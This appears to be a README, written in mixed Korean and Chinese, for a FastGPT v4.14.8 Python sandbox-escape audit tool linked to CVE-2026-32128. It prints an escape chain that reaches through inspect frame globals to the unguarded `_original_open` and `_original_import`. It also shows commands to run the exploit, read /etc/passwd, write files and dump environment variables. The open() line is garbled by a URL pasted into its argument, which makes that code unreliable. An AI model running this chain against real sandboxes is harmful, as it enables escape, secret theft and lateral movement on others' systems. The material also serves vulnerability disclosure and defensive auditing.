
FastGPT Python 샌드박스 탈출 체인 감사 도구 (CVE-2026-32128 관련, v4.14.8 inspect 체인)
FastGPT Python 샌드박스 탈출 체인 감사 도구.
FastGPT 워크플로의 "코드 실행" 노드는 사용자 Python 코드를 독립 샌드박스에 전달하여 실행합니다. v4.14.8의 샌드박스 보호는 순수 Python 계층(모듈 블랙리스트 + AST 검사 + open 가드 + import 가드)이며, 본 도구는 이러한 보호의 우회 체인을 탐지하고 검증합니다:
import inspect # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27) # 模块全局暴露原始 open 引用
imp = g['_original_import'] # 模块全局暴露原始 __import__ 引用
| 버전 | 아키텍처 | 상태 |
|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128(fcntl 재매핑 stdout) |
| v4.14.8 | Bun + Hono + worker.py | 본 문서의 탈출 체인, 완전한 탈출(컨테이너 내 임의 파일 + 네트워크 횡적 이동) |
| main | Go native chroot + seccomp | Python 계층도 동일하게 우회되며, chroot 폴백은 컨테이너 내부로 제한됨 |
순수 표준 라이브러리, Python 3.8+.
# 静态检测 worker.py 防护配置(不执行 payload)
python3 fastgpt-sandbox-audit.py --check
# 对真实 worker.py 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --exploit
# 导出环境变量(前 20 个 key)
python3 fastgpt-sandbox-audit.py --dump
# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit는 실제 worker.py(FastGPT v4.14.8 샌드박스의 Python worker 프로세스)가 필요하며, 기본적으로 현재 디렉터리에서 ./worker.py를 읽고, 자체 stdin JSON 프로토콜({"type":"init"} → {"type":"task","code":...})을 통해 payload를 제출합니다.
--check 모드 출력:
=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)
본 도구는 보안 연구 및 승인된 범위 내의 보안 테스트에만 사용됩니다. 승인 없이 타인의 시스템을 테스트하는 것은 법률 및 규정을 위반할 수 있으므로, 관련 책임은 사용자 본인에게 있습니다.